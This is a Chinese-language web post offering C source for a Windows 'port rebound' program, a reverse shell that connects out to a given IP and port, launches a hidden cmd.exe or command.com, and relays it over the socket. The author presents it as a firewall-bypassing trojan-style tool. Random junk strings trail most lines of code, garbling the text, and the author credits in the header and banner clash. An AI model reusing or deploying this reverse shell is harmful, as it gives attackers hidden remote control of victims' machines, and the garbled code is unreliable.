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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >vNE3S_  
Tlk!6A:  
/* ============================== 4"Mq]_D  
Rebound port in Windows NT LKst QP!I  
By wind,2006/7 'Kd-A:K2g  
===============================*/ dRBWJ/ 1T  
#include e)|5 P  
#include mEbj  
5B;;{GR  
#pragma comment(lib,"wsock32.lib") 9\%`/tJM  
_]us1  
void OutputShell(); (_fovV=  
SOCKET sClient; aQ0pYk~(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?qbq\t  
,6x>gcR  
void main(int argc,char **argv) RF'&.RtVa  
{ ~P"o_b6,k  
WSADATA stWsaData; l2kUa'O-  
int nRet; 5PE}3he:  
SOCKADDR_IN stSaiClient,stSaiServer; iT</  
RIFTF R  
if(argc != 3) LPkl16yZ  
{ |^gnT`+  
printf("Useage:\n\rRebound DestIP DestPort\n");  Bm&6  
return; ;t4YI7E*  
} `?SLp  
HaQox.v%  
WSAStartup(MAKEWORD(2,2),&stWsaData); ccy q~  
@E=77Jn[px  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jl ?_GX}ZY  
%t]{C06w+{  
stSaiClient.sin_family = AF_INET; 0_-P~^A  
stSaiClient.sin_port = htons(0); 'v5q/l  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B\+uRiD8w  
~g*5."-i  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;G*)7fi  
{ ]qiX"<s>~C  
printf("Bind Socket Failed!\n"); F:LrQu  
return; igF<].'V  
} 0*6Q 8`I  
FPu$Nd&\  
stSaiServer.sin_family = AF_INET; ^O&&QRH~w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~ F>'+9?Sn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fPG3$<Zr  
}w{E<C(M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x}#N?d  
{ 2g;Id.i>  
printf("Connect Error!"); {N@Pk[!  
return; G}@a]EGm  
} )g`~,3G  
OutputShell(); ~Sx\>wBlc  
} 6ck%M#v  
Twk<<  
void OutputShell() d1 lxz?r  
{ s $ ?;C  
char szBuff[1024]; [ZS.6{vr  
SECURITY_ATTRIBUTES stSecurityAttributes; x::d}PP7  
OSVERSIONINFO stOsversionInfo; )QI#szv6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7nZ3u _~  
STARTUPINFO stStartupInfo; Nwk^r75lq  
char *szShell; _Zxo <}w}y  
PROCESS_INFORMATION stProcessInformation; >".@;  
unsigned long lBytesRead; -cP1,>Ahv  
877Kv);  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p Moza8  
& 5QvUn  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x|g2H.n  
stSecurityAttributes.lpSecurityDescriptor = 0; 8[:G/8VI  
stSecurityAttributes.bInheritHandle = TRUE; P|TM4i]  
/`j2%8^N  
|Gr@Mi5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P[r$KGz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T NF  
c!mMH~#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WnA Y<hZ|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Ea,8bpn  
stStartupInfo.wShowWindow = SW_HIDE; {8,_[?H  
stStartupInfo.hStdInput = hReadPipe; Q<(aU{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SZvC4lOn#  
GZm=>!T  
GetVersionEx(&stOsversionInfo); D H:9iX'  
Ti>}To}B5  
switch(stOsversionInfo.dwPlatformId) Ho $+[K  
{ kH4m6p  
case 1: fr&p0)85>B  
szShell = "command.com"; R#s_pW{op  
break;  lHE+o;-  
default: [C@ Ro,mI  
szShell = "cmd.exe"; 3V<c4'O\W  
break; 2m9qg-W  
} V OT9cP^6  
-jVg {f!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $_gv(&ZT  
t<%+))b  
send(sClient,szMsg,77,0); M%s!qC+  
while(1) )/Oldyp  
{ gl!ht@;>ak  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {~#d_!(  
if(lBytesRead) =nlj|S ~3  
{ ^cuH\&&7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /'^ BH A|h  
send(sClient,szBuff,lBytesRead,0); >2NsBS(  
} YB(8 T"  
else k7M{+X6[  
{ UU ' 9  
lBytesRead=recv(sClient,szBuff,1024,0); Y]i:$X]C?X  
if(lBytesRead<=0) break; W9{y1,G9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ScRK1  
} .ZM0cwF  
} &"Fz)}  
""h%RhcZ\  
return; qBZ;S3  
}
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